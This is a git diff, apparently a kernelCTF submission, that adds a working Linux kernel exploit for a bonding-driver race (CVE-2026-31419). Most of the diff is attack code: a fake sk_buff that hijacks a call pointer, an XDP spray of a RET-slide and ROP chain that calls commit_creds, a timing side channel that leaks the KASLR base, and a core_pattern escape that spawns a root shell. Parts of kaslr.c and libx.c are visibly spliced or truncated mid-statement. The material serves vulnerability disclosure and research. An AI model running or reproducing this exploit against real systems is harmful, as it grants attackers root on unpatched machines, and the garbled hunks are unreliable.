+// rip_control (offset 0x60), aimed at the `enter` one-gadget. The remaining
+// fields keep the skb structurally valid so the kernel reaches the call site.
+char * make_fake_skb(void){
+ saveStatus();
+ hook_segfault();
+ fake_skb_t * fake_skb = (fake_skb_t *)calloc(1,0x100);
+ fake_skb->next = AA(0xffffffff848d7fa0) - 8; // any kernel-readable
+ fake_skb->prev = AA(0xffffffff848d7fa0);
+ fake_skb->rip_control = AA(ENTER_GADGET);
+ fake_skb->len = 0;
+ fake_skb->datalen = 1;
+ fake_skb->end = 0x10;
+ fake_skb->head = AA(0xffffffff848d7fa0);
+ fake_skb->cur = AA(0xffffffff848d7fa0);
+ fake_skb->user = 1;
+ fake_skb->debug_magic = 0xdeadbeef;
+ return (char *)fake_skb;
+}
+
+// Privilege-escalation ROP chain placed at the tail of every sprayed RET-slide
+// page: commit_creds(&init_cred) then return to fork_shell() as root.
+//
+// The ROP chain is built dynamically via libxdk: COMMIT_INIT_TASK_CREDS and the
+// RET2USR sequence are resolved from the target database (kernelXDK), so no
+// privesc gadget/symbol addresses are hardcoded - per the kernelCTF rules.
+size_t g_rop_words[0x80];
+int g_rop_nwords;
+char* ropgen(void){
+ RopChain rop(*g_target, kaslr);
+ rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS); // commit_creds(&init_cred)
+ RopUtils::Ret2Usr(rop, (void*)fork_shell); // swapgs/iretq -> fork_shell
+ auto words = rop.GetDataWords();
+ g_rop_nwords = (int)words.size();
+ for (int i = 0; i < g_rop_nwords && i < (int)(sizeof(g_rop_words)/8); i++)
+ g_rop_words[i] = words[i];
+ return (char*)g_rop_words;
+}
+
+// Xen vmalloc spray via XDP (XDP_UMEM_REG): xdp_umem_create() vmap()s the pinned
+// user buffer into the vmalloc area next to the vmap kernel stacks. Each page is
+// a long RET-slide ending in the privesc ROP chain, so a single `enter` from the
+// trigger thread's stack drops RSP into the slide -> walks into the ROP chain.
+static void xen(void){
+ info("Xen");
+ saveStatus();
+ struct rlimit rl = { .rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY };
+ setrlimit(RLIMIT_MEMLOCK, &rl);
+
+ char *rop_chain = ropgen();
+ size_t rop_bytes = (size_t)g_rop_nwords * 8;
+ char buf[0x1000] = {};
+ size_t *ptr = (size_t *)buf;
+ for(int i = 0; i < 0x200; i++)
+ ptr[i] = AA(RET_SLIDE); // ret slide
+ int offset = 0;
+ // Place the (dynamically-built) ROP chain at the tail of each slide page.
+ memcpy(buf+0x1000-rop_bytes-offset, rop_chain, rop_bytes);
+
+ char *m = (char *)mmap(0, 0x10000, PROT_READ | PROT_WRITE,
+ MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1, 0);
+ for (size_t i = 0; i < 0x10000; i += 0x1000)
+ memcpy(m + i + offset, buf, 0x1000-offset);
+
+ // A wave of sleeping children stabilizes the vmap-stack layout.
+ for(int i = 0 ; i < 0x200; i++){
+ int pid = fork();
+ if(pid==0){ sleep(100); exit(0); }
+ }
+ // XDP spray.
+ for (int b = 0; b < 0x80; b++) {
+ int xs = socket(AF_XDP, SOCK_RAW, 0);
+ struct xdp_umem_reg mr = {};
+ mr.addr = (size_t)m;
+ mr.len = 0x10000;
+ mr.chunk_size = 0x1000;
+ mr.headroom = 0;
+ mr.flags = 0;
+ setsockopt(xs, SOL_XDP, XDP_UMEM_REG, &mr, sizeof(mr));
+ }
+ // Allocate a new stack frame as the target frame.
+ int pid = fork();
+ if(pid)
+ waitpid(pid, 0, 0);
+}
+
+void exploit(void){
+ pinCPU(0);
+ sandbox();
+ impLimit();
+ int fd = initNL();
+ char trash[0x1000] = {};
+ initSocketArrayN(sk_fd,0x200);
+ // Master bond0
+ NLMsgSend(fd, bondAdd("bond0"));
+ NLMsgSend(fd, bondModeSet("bond0",3));
+ // Large enough MTU
+ NLS(fd, linkMtuSet("bond0",0x9999));
+ NLMsgSend(fd, linkSet("bond0",1));
+
+ // Two Slaves
+ NLMsgSend(fd, dummyAdd("dummy0"));
+ NLS(fd, vethAdd("veth0","veth1"));
+ NLS(fd, linkSet("veth1",1));
+ NLS_IF(fd, netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP),"veth0");
+ NLMsgSend(fd, linkMasterSet("veth0","bond0"));
+ NLMsgSend(fd, linkMasterSet("dummy0","bond0"));
+ NLMsgSend(fd, dummySet("dummy0",1));
+
+ // Race
+ prepare_if_bc("bond0");
+ int pipefd1[2],pipefd2[2];
+ pipe(pipefd1);
+ pipe(pipefd2);
+
+ if(fork()==0){
+ pinCPU(0);
+ close(pipefd1[1]);
+ close(pipefd2[0]);
+
+ struct pollfd pfd1 = {.fd = pipefd1[0], .events=POLLIN};
+ for(int attempt = 0; attempt < MAX_RACE_ATTEMPTS; attempt++){
+ NLMsgSend(fd, linkMasterDel("veth0"));
+ NLMsgSend(fd, linkMasterSet("veth0","bond0"));
+
+ if(poll(&pfd1,1,0)>0)
+ {
+ // Allocate on cpu 0 and return to cpu 1
+ for(int i = 0x20 ; i < 0x31; i++)
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ pinCPU(1);
+ for(int i = 0x20 ; i < 0x31; i++)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ write(pipefd2[1],trash, 4);
+ sleep(1000);
+ }
+ }
+ }
+ else{
+ pinCPU(1);
+ close(pipefd1[0]);
+ close(pipefd2[1]);
+ size_t *ptr = (size_t *)trash;
+
+ // For cpu partial
+ for(size_t i = 0x100 ; i < 0x180; i++)
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ char *qdisc_del_message = qdiscDel(0x10000);
+ char *qdisc_add_message = netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP);
+ while(1){
+ // Pre-pad
+ for(size_t i = 0x0 ; i < 0x10; i++)
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ sendto(if_bc_socket, trash, 0x200-0x140-0x48-1, 0, (struct sockaddr *)&dst, sizeof(dst));
+ // a free slot should be taken by the sk_buff, it's confirmed in debugging and it's usually slot 0x10
+ for(size_t i = 0x10 ; i < 0x20; i++)
+ {
+ *ptr = i;
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ }
+ // Delete the skbs and the head in the queue
+ NLS_IF(fd, qdisc_del_message,"veth0");
+ for(int i = 0x40 ; i < 0x60; i++)
+ {
+ *ptr = i;
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ }
+ for(size_t i = 0x10 ; i < 0x20; i++)
+ {
+ int res = read(sk_fd[i][0],trash, SKB_DATA_SIZE);
+ // int res = recv(sk_fd[i][0], buf, SKB_DATA_SIZE, MSG_PEEK);
+ if(res < 0 || *ptr != i){
+ // Now we are sure we hit the race
+ write(pipefd1[1], "FIRE", 4);
+ read(pipefd2[0],trash,4);
+
+ for(size_t j = i+1 ; j < 0x20; j++)
+ read(sk_fd[j][0],trash,SKB_DATA_SIZE);
+ for(size_t i = 0x0 ; i < 0x10; i++)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ for(int i = 0x100; i<0x180; i+=0x10)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ pgvAdd(0,0,0x100);
+ char * target = (char *)pgvMap(0);
+ char * fake_skb = make_fake_skb();
+ char buf[0x1000];
+ for(int i = 0 ; i < 0x10 ; i ++)
+ memcpy(buf+i*0x100,fake_skb,0x100);
+ for(int i = 0 ; i < 0x100 ; i++)
+ memcpy(target+i*0x1000,buf,0x1000);
+
+ // Xen: spray the vmalloc RET-slide+ROP around the kernel
+ // stack so the fake skb's enter-gadget pivot lands in it.
+ xen();
+
+ success("Trying...");
+ // Trigger: the fake skb's offset-0x60 ptr (ENTER_GADGET) is
+ // called -> enter pivots RSP into the sprayed slide -> ROP.
+ res = recv(sk_fd[i][0], trash, 0,0);
+ if(res<0){
+ info("seems fail");
+ for(int i = 0x40 ; i < 0x60; i++)
+ // recv(sk_fd[i][0], trash, SKB_DATA_SIZE,0);
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ info("Failed to exploit, retry...");
+ goto END;
+ }
+ else goto END; // We won
+ }
+
+ }
+ NLS_IF(fd, qdisc_add_message,"veth0");
+ for(size_t i = 0x0 ; i < 0x10; i++)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ for(int i = 0x40 ; i < 0x60; i++)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ }
+ }
+END:
+ exit(0);
+}
+
+
+static void poc(void){
+ pinCPU(0);
+ sandbox();
+ impLimit();
+ int fd = initNL();
+ char trash[0x1000] = {};
+ initSocketArrayN(sk_fd,0x200);
+
+ // Master bond0 in broadcast mode (mode 3) with a large MTU.
+ NLMsgSend(fd, bondAdd("bond0"));
+ NLMsgSend(fd, bondModeSet("bond0",3));
+ NLS(fd, linkMtuSet("bond0",0x9999));
+ NLMsgSend(fd, linkSet("bond0",1));
+
+ // Two slaves; veth0 carries a netem qdisc with a huge delay so a broadcast
+ // skb lingers in the queue, widening the race window.
+ NLMsgSend(fd, dummyAdd("dummy0"));
+ NLS(fd, vethAdd("veth0","veth1"));
+ NLS(fd, linkSet("veth1",1));
+ NLS_IF(fd, netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP),"veth0");
+ NLMsgSend(fd, linkMasterSet("veth0","bond0"));
+ NLMsgSend(fd, linkMasterSet("dummy0","bond0"));
+ NLMsgSend(fd, dummySet("dummy0",1));
+
+ prepare_if_bc("bond0");
+
+ if(fork()==0){
+ pinCPU(0);
+ for(int attempt = 0; attempt < MAX_RACE_ATTEMPTS*20; attempt++){
+ NLMsgSend(fd, linkMasterDel("veth0"));
+ NLMsgSend(fd, linkMasterSet("veth0","bond0"));
+ }
+ exit(0);
+ }
+
+ pinCPU(1);
+ char *qdisc_del_message = qdiscDel(0x10000);
+ char *qdisc_add_message = netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP);
+ for(int round = 0; round < MAX_RACE_ATTEMPTS*20; round++){
+ sendto(if_bc_socket, trash, 0x200-0x140-0x48-1, 0,
+ (struct sockaddr *)&dst, sizeof(dst));
+ NLS_IF(fd, qdisc_del_message,"veth0");
+ NLS_IF(fd, qdisc_add_message,"veth0");
+ }
+ exit(0);
+}
+
+// Build a Target from the embedded kxdb so libxdk can resolve the running
+// kernel's page count for the KASLR scan window.
+static Target prepare_kernelxdk(){
+ TargetDb kxdb("target_db.kxdb", target_db);
+ Target target = kxdb.AutoDetectTarget();
+ printf("[+] Target: %s %s\n", target.GetDistro().c_str(),
+ target.GetReleaseName().c_str());
+ return target;
+}
+
+
+static uint64_t leak_kernel_base_and_check(Target *target){
+ uint64_t num_pages = target->GetKernelPageCount();
+ uint64_t kernel_base = leak_kaslr_base(num_pages, 100, 3);
+ check_kaslr_base(kernel_base);
+ printf("[+] Kernel base: 0x%lx\n", (unsigned long)kernel_base);
+ return kernel_base;
+}
+
+int main(int argc, char *argv[]){
+ // Vulnerability-verification mode used by kernelctf/vuln-verify: run only the
+ // bonding race to trip KASAN on the upstream before/after-patch kernels.
+ if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) {
+ alarm(180);
+ poc();
+ return 0;
+ }
+
+ pinCPU(0);
+ Target target = prepare_kernelxdk();
+ g_target = ⌖
+ kaslr = leak_kernel_base_and_check(&target);
+
+ // Hard backstop in case a child wedges the kernel; the loop below normally
+ // exits cleanly well before this fires.
+ alarm(150);
+
+ COREHEAD(argv);
+ if (fork() == 0)
+ {
+ pinCPU(1);
+ setsid();
+ crash(666,"/proc/self/exe");
+ }
+ time_t start = time(NULL);
+ for(int attempt = 0; attempt < 50; attempt++){
+ if(time(NULL) - start >= 120){
+ info("Exploit timed out, giving up");
+ break;
+ }
+ int pid = fork();
+ if(!pid)
+ exploit();
+ else
+ waitpid(pid,0,0);
+ }
+ info("Exploit did not succeed after all retries");
+ exit(1);
+}
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/.gitignore b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/.gitignore
new file mode 100644
index 000000000..7dcd4c353
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/.gitignore
@@ -0,0 +1,5 @@
+# Compiled libx build artifacts
+*.o
+*.a
+*.so
+netlink/*.o
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/Makefile b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/Makefile
new file mode 100644
index 000000000..bf8127ff9
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/Makefile
@@ -0,0 +1,76 @@
+CC ?= gcc
+CFLAGS =-fPIC -w
+PREFIX ?= /lib/x86_64-linux-gnu
+INCLUDE_PREFIX ?= /usr/include
+
+# Headers in root
+ROOT_HEADERS = libx.h kaslr.h
+
+# Headers in netlink/
+NETLINK_HEADERS = netlink/net.h netlink/qdisc.h netlink/bond.h netlink/veth.h
+
+HEADERS = $(ROOT_HEADERS) $(NETLINK_HEADERS)
+
+# Object files
+ROOT_OBJS = libx.o kaslr.o
+NETLINK_OBJS = netlink/net.o netlink/qdisc.o netlink/bond.o netlink/veth.o
+
+OBJS = $(ROOT_OBJS) $(NETLINK_OBJS)
+
+all: libx.so libx.a
+
+musl:
+ $(MAKE) CC=musl-gcc all
+
+libx.o: libx.c libx.h
+ $(CC) $(CFLAGS) -masm=intel -c libx.c -o libx.o
+
+kaslr.o: kaslr.c kaslr.h
+ $(CC) $(CFLAGS) -c kaslr.c -o kaslr.o
+
+netlink/net.o: netlink/net.c netlink/net.h
+ $(CC) $(CFLAGS) -c netlink/net.c -o netlink/net.o
+
+netlink/qdisc.o: netlink/qdisc.c netlink/qdisc.h
+ $(CC) $(CFLAGS) -c netlink/qdisc.c -o netlink/qdisc.o
+
+netlink/bond.o: netlink/bond.c netlink/bond.h
+ $(CC) $(CFLAGS) -c netlink/bond.c -o netlink/bond.o
+
+netlink/veth.o: netlink/veth.c netlink/veth.h
+ $(CC) $(CFLAGS) -c netlink/veth.c -o netlink/veth.o
+
+libx.so: $(OBJS)
+ $(CC) $(CFLAGS) -shared -o $@ $(OBJS)
+
+libx.a: $(OBJS)
+ ar rcs $@ $(OBJS)
+
+clean:
+ rm -rf ./*.o ./*.so ./*.a netlink/*.o
+
+install: libx.so libx.a
+ cp ./libx.so $(PREFIX)/
+ cp ./libx.a $(PREFIX)/
+ cp ./libx.h $(INCLUDE_PREFIX)/
+ cp ./kaslr.h $(INCLUDE_PREFIX)/
+ mkdir -p $(INCLUDE_PREFIX)/netlink
+ cp ./netlink/*.h $(INCLUDE_PREFIX)/netlink/
+
+install-musl: libx.so libx.a
+ cp ./libx.so /lib/x86_64-linux-musl/
+ cp ./libx.a /lib/x86_64-linux-musl/
+ cp ./libx.h /usr/include/x86_64-linux-musl/
+ cp ./kaslr.h /usr/include/x86_64-linux-musl/
+ mkdir -p /usr/include/x86_64-linux-musl/netlink
+ cp ./netlink/*.h /usr/include/x86_64-linux-musl/netlink/
+
+uninstall:
+ rm -f $(PREFIX)/libx.so $(PREFIX)/libx.a
+ rm -f $(INCLUDE_PREFIX)/libx.h $(INCLUDE_PREFIX)/kaslr.h
+ rm -rf $(INCLUDE_PREFIX)/netlink
+
+uninstall-musl:
+ rm -f /lib/x86_64-linux-musl/libx.so /lib/x86_64-linux-musl/libx.a
+ rm -f /usr/include/x86_64-linux-musl/libx.h /usr/include/x86_64-linux-musl/kaslr.h
+ rm -rf /usr/include/x86_64-linux-musl/netlink
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.c
new file mode 100644
index 000000000..dbe69c371
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.c
@@ -0,0 +1,137 @@
+#include "kaslr.h"
+
+uint64_t sidechannel(size_t addr) {
+ uint64_t a, b, c, d;
+ asm volatile (".intel_syntax noprefix;"
+ "mfence;"
+ "rdtscp;"
+ "mov %0, rax;"
+ "mov %1, rdx;"
+ "mfence;"
+ "prefetcht0 qword ptr [%4];"
+ "prefetcht0 qword ptr [%4];"
+ "mfence;"
+ "rdtscp;"
+ "mov %2, rax;"
+ "mov %3, rdx;"
+ "mfence;"
+ ".att_syntax;"
+ : "=r" (a), "=r" (b), "=r" (c), "=r" (d)
+ : "r" (addr)
+ : "rax", "rbx", "rcx", "rdx");
+ a = (b << 32) | a;
+ c = (d << 32) | c;
+ return c - a;
+}
+void clean_cache(size_t base){
+ for(int i=0;i<0x100;i++){
+
+ size_t mess = i;
+ size_t probe = (mess*0x1000+base);
+
+ sidechannel(probe);
+ }
+}
+
+u64 leak_syscall_entry(int pti)
+{
+ sched_yield();
+ u64 data[ARR_SIZE] = {0};
+ u64 min = ~0, addr = ~0;
+ for (int i = 0; i < ITERATIONS + 2; i++)
+ {
+ for (u64 idx = 0; idx < ARR_SIZE; idx++)
+ {
+ u64 time = sidechannel(SCAN_START + idx * STEP);
+
+ if (i >= 2)
+ data[idx] += time;
+ }
+ }
+ for (int i = 0; i < ARR_SIZE; i++)
+ {
+ data[i] /= ITERATIONS;
+ if (data[i] < min)
+ {
+ min = data[i];
+ addr = SCAN_START + i * STEP;
+ }
+ }
+
+ if(pti){
+ u64 previous_data = data[0];
+
+ for(int i = 0x1; i< ARR_SIZE; i++)
+ {
+ if(data[i]>previous_data*1.1)
+ continue;
+
+ if( data[i]< previous_data && previous_data-data[i] > 0.15*previous_data && data[i]= 0)
+ return cached;
+ u32 eax, ebx, ecx, edx;
+ asm volatile("cpuid"
+ : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx)
+ : "a"(0), "c"(0));
+ // "GenuineIntel" -> ebx="Genu" edx="ineI" ecx="ntel"
+ cached = (ebx == 0x756e6547 && edx == 0x49656e69 && ecx == 0x6c65746e);
+ return cached;
+}
+
+static int _vote_samples(void){
+ return _is_intel() ? VOTE_SAMPLES_INTEL : VOTE_SAMPLES_AMD;
+}
+
+size_t _lowest_above_peak(size_t *val, int n){
+ size_t addr[VOTE_SAMPLES_MAX];
+ int cnt[VOTE_SAMPLES_MAX], m = 0;
+ for(int i = 0; i < n; i++){
+ int j;
+ for(j = 0; j < m; j++)
+ if(addr[j] == val[i]){ cnt[j]++; break; }
+ if(j == m){ addr[m] = val[i]; cnt[m] = 1; m++; }
+ }
+ int peak = 0;
+ for(int j = 0; j < m; j++)
+ if(cnt[j] > peak) peak = cnt[j];
+ // Threshold: count * PEAK_DEN >= peak * PEAK_NUM (avoids float).
+ size_t best = ~0ull;
+ for(int j = 0; j < m; j++)
+ if((size_t)cnt[j] * PEAK_DEN >= (size_t)peak * PEAK_NUM)
+ if(addr[j] < best)
+ best = addr[j];
+ return best;
+}
+
+static size_t _vote(u64 (*sample)(int), int pti){
+ size_t val[VOTE_SAMPLES_MAX];
+ int n = _vote_samples();
+ for(int i = 0; i < n; i++)
+ val[i] = sample(pti);
+ return _lowest_above_peak(val, n);
+}
+
+size_t get_kaslr_precise(int pti){
+ return _vote(leak_syscall_entry, pti);
+}
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.h
new file mode 100644
index 000000000..6056d544f
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.h
@@ -0,0 +1,32 @@
+#include
+#include
+#include
+#include
+#include
+
+#define STEP 0x1000000ull
+#define KERNEL_LOWER_BOUND 0xffffffff81000000ull
+#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull
+#define entry_SYSCALL_64_offset 0x1400000ull
+#define SCAN_START KERNEL_LOWER_BOUND
+#define SCAN_END KERNEL_UPPER_BOUND
+#define ARR_SIZE (((SCAN_END) - (SCAN_START)) / (STEP))
+
+#define STEP_PHYS 0x40000000ull
+#define PHYS_LOWER_BOUND 0xffff887000000000ull
+#define PHYS_UPPER_BOUND 0xffffa45555555555ull
+
+#define SCAN_START_PHYS PHYS_LOWER_BOUND
+#define SCAN_END_PHYS PHYS_UPPER_BOUND
+#define ARR_SIZE_PHYS (((SCAN_END_PHYS) - (SCAN_START_PHYS)) / (STEP_PHYS))
+
+#define DUMMY_ITERATIONS 2ull
+#define ITERATIONS 12ull
+
+#define size_t unsigned long long
+typedef unsigned char u8;
+typedef unsigned short u16;
+typedef unsigned int u32;
+typedef unsigned long long u64;
+
+size_t get_kaslr_precise(int pti);
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.c
new file mode 100644
index 000000000..804a6edd1
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.c
@@ -0,0 +1,217 @@
+#include "libx.h"
+
+pgvFrame pgv[INITIAL_PG_VEC_SPRAY];
+pgvFrame pgvL[0x400];
+int optmem_max;
+int urand_fd=-1;
+int pg_vec_child[2],pg_vec_parent[2];
+int sk_fd[SOCKET_NUM][2];
+int pipe_fd[PIPE_NUM*4][2];
+size_t MSGLIMIT = 0;
+size_t user_cs, user_ss, user_rflags, user_sp;
+
+void success(const char *text){
+ printf("\033[1;32m[+] ");
+ printf("%s", text);
+ printf("\033[0m\n");
+}
+void info(const char *text){
+ printf("\033[34m\033[1m[+] %s\033[0m\n",text);
+}
+void panic(const char *text){
+ printf("\033[0;31m");
+ printf("[X] %s", text);
+ printf("\033[0m\n");
+ exit(0x132);
+}
+char *hex(size_t num){
+ char *buf = malloc(0x20);
+ snprintf(buf,0x20,"%p",(void *)num);
+ return buf;
+}
+
+void pinCPU(int id){
+ cpu_set_t my_set;
+ CPU_ZERO(&my_set);
+ CPU_SET(id, &my_set);
+ sched_setaffinity(0, sizeof(cpu_set_t), &my_set);
+}
+void impLimit(){
+ struct rlimit limit;
+ pid_t pid = 0;
+ if (prlimit(pid, RLIMIT_NOFILE, 0, &limit) == -1) {
+ perror("prlimit failed");
+ return ;
+ }
+
+ limit.rlim_cur = limit.rlim_max;
+ limit.rlim_max = limit.rlim_max;
+ prlimit(pid, RLIMIT_NOFILE, &limit, 0);
+}
+void sandbox()
+{
+ uid_t uid = getuid();
+ gid_t gid = getgid();
+ int temp;
+ char edit[0x100];
+ unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
+
+ temp = open("/proc/self/setgroups", O_WRONLY);
+ write(temp, "deny", strlen("deny"));
+ close(temp);
+
+ temp = open("/proc/self/uid_map", O_WRONLY);
+ snprintf(edit, sizeof(edit), "0 %d 1", uid);
+ write(temp, edit, strlen(edit));
+ close(temp);
+
+ temp = open("/proc/self/gid_map", O_WRONLY);
+ snprintf(edit, sizeof(edit), "0 %d 1", gid);
+ write(temp, edit, strlen(edit));
+ close(temp);
+ return;
+}
+void saveStatus()
+{
+ __asm__ (
+ "mov %0, cs;"
+ "mov %1, ss;"
+ "mov %2, rsp;"
+ "pushf;"
+ "pop %3;"
+ : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
+ );
+}
+
+void debug(){
+ success("DEBUG");
+ char buf[0x10]={};
+ read(0,buf,0xf);
+}
+void shell(){
+ FAIL(getuid(),"[!] Failed to Escape");
+ system("/bin/sh");
+}
+void _sigsegv_handler(int sig, siginfo_t *si, void *unused) {
+ info("Libx: SegFault Handler is spwaning a shell...");
+ shell();
+ while(1);
+}
+void hook_segfault(){
+ struct sigaction sa;
+ memset(&sa, 0, sizeof(sigaction));
+ sigemptyset(&sa.sa_mask);
+ sa.sa_flags = SA_SIGINFO;
+ sa.sa_sigaction = _sigsegv_handler;
+
+ if (sigaction(SIGSEGV, &sa, 0) == -1) {
+ perror("hook_segfault");
+ exit(EXIT_FAILURE);
+ }
+ if (sigaction(SIGTRAP, &sa, 0) == -1) {
+ perror("hook_segfault");
+ exit(EXIT_FAILURE);
+ }
+}
+
+#define PAGE_ALLOC_COSTLY_ORDER 3
+#define DIV_ROUND_UP __KERNEL_DIV_ROUND_UP
+#define __KERNEL_DIV_ROUND_UP(n, d) (((n) + (d) - 1) / (d))
+size_t slab_size[] = {0x8,0x10,0x20,0x40,0x60,0x80,0xc0,0x100,0x200,0x400,0x800,0x1000,0x2000};
+
+void initSocketArrayN(int sk_socket[SOCKET_NUM][2],size_t nr){
+ for(int i = 0 ; i < nr ; i++)
+ FAIL(socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i])< 0,"[-] Failed to create sockect pairs!");
+}
+
+u64 _pvg_sock(u64 size, u64 n)
+{
+ struct tpacket_req req;
+ u32 socketfd, version;
+ socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
+ FAIL_IF(socketfd<0);
+
+ version = TPACKET_V1;
+
+ FAIL_IF(setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0);
+
+ assert(size % 4096 == 0);
+
+ memset(&req, 0, sizeof(req));
+ req.tp_block_size = size;
+ req.tp_block_nr = n;
+ req.tp_frame_size = PAGE_SIZE;
+ req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
+ FAIL_IF(setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0);
+ return socketfd;
+}
+void pgvAdd(size_t idx, size_t order, size_t nr){
+ FAIL(idx>=sizeof(pgvL)/sizeof(pgvL[0]), "Index OOB");
+ pgvL[idx].fd = _pvg_sock(PAGE_SIZE * (1<=sizeof(pgvL)/sizeof(pgvL[0]), "Index OOB");
+ FAIL(pgvL[idx].fd <= 0,"[-] PGV not allocated");
+ void *mapped = mmap(0, pgvL[idx].size , PROT_READ | PROT_WRITE, MAP_SHARED, pgvL[idx].fd, 0);
+ FAIL((long long )mapped < 0,"[-] FAILED to MAP PGV");
+ pgvL[idx].mapped = mapped;
+ return mapped;
+}
+
+void coreShell(int reboot){
+ success("Escaping...");
+ char buf[0x100] = {};
+ FILE* fp = popen("pidof n132","r");
+ fread(buf,1,0x100,fp);
+ fclose(fp);
+ int pid = strtoull(buf,0,10);
+ int pfd = syscall(SYS_pidfd_open,pid,0);
+ int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
+ int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
+ int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
+ dup2(stdinfd ,0);
+ dup2(stdoutfd ,1);
+ dup2(stderrfd ,2);
+ if(reboot==0)
+ system("cat /flag;/bin/bash");
+ else{
+ // Print the flag to the victim's stdout (what the harness greps) and
+ // flush before powering off, so the flag can't be lost to the shutdown.
+ system("cat /flag");
+ fsync(1);
+ // We run as root in the core_pattern handler. Power off directly with
+ // reboot(2) -- don't rely on sysrq 'o' being enabled in the COS image.
+ // If either is masked the box keeps churning until the 60s alarm/repro
+ // watchdog kills QEMU (init exits -> "Attempted to kill init" panic).
+ sync();
+ // Call the syscall directly: the `reboot` parameter name shadows the
+ // libc reboot() wrapper here.
+ syscall(SYS_reboot, LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2,
+ LINUX_REBOOT_CMD_POWER_OFF, NULL);
+ // Fallback if reboot(2) is blocked in this context.
+ system("echo o>/proc/sysrq-trigger;");
+ }
+}
+void crash(int fd,char *bin_path)
+{
+ int memfd = memfd_create("", 0);
+ sendfile(memfd, open(bin_path, 0), 0, 0xffffffff);
+ if(dup2(memfd,fd)==-1){
+ panic("WTF");
+ }
+ close(memfd);
+ char dst[0x100] = {};
+ snprintf(dst,sizeof(dst),"|/proc/%%P/fd/%d",fd);
+ while (1)
+ {
+ char buf[0x100] = {};
+ int core = open("/proc/sys/kernel/core_pattern", 0);
+ read(core, buf, sizeof(buf));
+ close(core);
+ if(strncmp(buf, dst, strlen(dst)) == 0)
+ *(size_t *)0 = 0;
+ sleep(1);
+ }
+}
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.h
new file mode 100644
index 000000000..55461a4c6
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.h
@@ -0,0 +1,108 @@
+#define _GNU_SOURCE
+#ifndef MYLIB_H
+#define LIBX "v1.0"
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "netlink/net.h"
+#include "netlink/qdisc.h"
+#include "netlink/bond.h"
+#include "netlink/veth.h"
+
+#define PIPE_NUM 256
+#define SOCKET_NUM 0x400
+#define INITIAL_PG_VEC_SPRAY 0x200
+#define KASLR 0xffffffff81000000ull
+#define ELIBX 0x132
+
+typedef __SIZE_TYPE__ size_t;
+typedef unsigned char u8;
+typedef unsigned short u16;
+typedef unsigned int u32;
+typedef unsigned long long u64;
+
+#define FAIL_IF(x) if ((x)) { \
+ printf("\033[0;31m"); \
